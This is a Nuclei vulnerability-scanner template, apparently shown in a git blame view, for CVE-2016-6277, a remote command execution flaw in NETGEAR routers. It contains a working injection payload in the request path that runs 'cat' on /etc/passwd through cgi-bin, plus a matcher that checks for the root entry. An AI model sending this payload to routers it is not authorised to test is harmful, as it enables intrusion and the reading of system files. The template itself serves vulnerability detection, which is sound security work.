nuclei-templates/http/cves/2016/CVE-2016-6277.yaml

44 lines
1.8 KiB
YAML
Raw Normal View History

2021-09-04 09:45:28 +00:00
id: CVE-2016-6277
info:
name: NETGEAR Routers - Remote Code Execution
2021-09-04 09:45:28 +00:00
author: pikpikcu
severity: high
description: NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.
2023-09-06 13:22:34 +00:00
remediation: |
Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
2021-09-04 09:54:59 +00:00
reference:
- https://www.sj-vs.net/2016/12/10/temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
- https://nvd.nist.gov/vuln/detail/CVE-2016-6277
- http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
- https://www.kb.cert.org/vuls/id/582384
2023-07-11 19:49:27 +00:00
- http://kb.netgear.com/000036386/CVE-2016-582384
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2016-6277
cwe-id: CWE-352
2023-07-11 19:49:27 +00:00
epss-score: 0.97471
epss-percentile: 0.99957
2023-09-06 13:22:34 +00:00
cpe: cpe:2.3:o:netgear:d6220_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: netgear
product: d6220_firmware
tags: cve,cve2016,netgear,rce,iot,kev
2021-09-04 09:45:28 +00:00
http:
2021-09-04 09:45:28 +00:00
- method: GET
path:
- "{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
2021-09-04 09:45:28 +00:00
- type: status
status:
- 200
# digest: 4a0a0047304502206775efc5bf9eda40a73a53b5169085f2193d8b9f5f421ca398c1b084c14ec3ff022100f1431c2fb7e0c6738c1a50f0ccfc815f7da5811487d5cdae95c1724e397afbb0:922c64590222798bb761d5b6d8e72950